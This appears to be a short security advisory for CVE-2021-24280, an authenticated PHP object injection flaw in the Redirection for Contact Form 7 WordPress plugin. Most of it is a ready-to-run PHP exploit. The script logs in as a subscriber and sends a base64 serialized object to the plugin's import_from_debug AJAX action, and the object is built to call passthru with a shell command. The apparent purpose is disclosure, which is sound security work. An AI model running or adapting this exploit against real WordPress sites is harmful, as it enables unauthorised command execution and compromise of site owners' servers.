Redirection for Contact Form 7 < 2.3.4 – Authenticated PHP Object Injection | CVE 2021-24280

Description

In the plugin, any authenticated user, such as a subscriber, could use the import_from_debug AJAX action to inject PHP objects.

Proof of Concept

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// OBJI
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'import_from_debug',
    'data[debug_info]' => 'TzoxMjoiTWFnaWNNZXRob2RzIjoyOntzOjQ6InRvRG8iO3M6ODoicGFzc3RocnUiO3M6NToidG9TYXkiO3M6MjoibHMiO30='

]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);


?>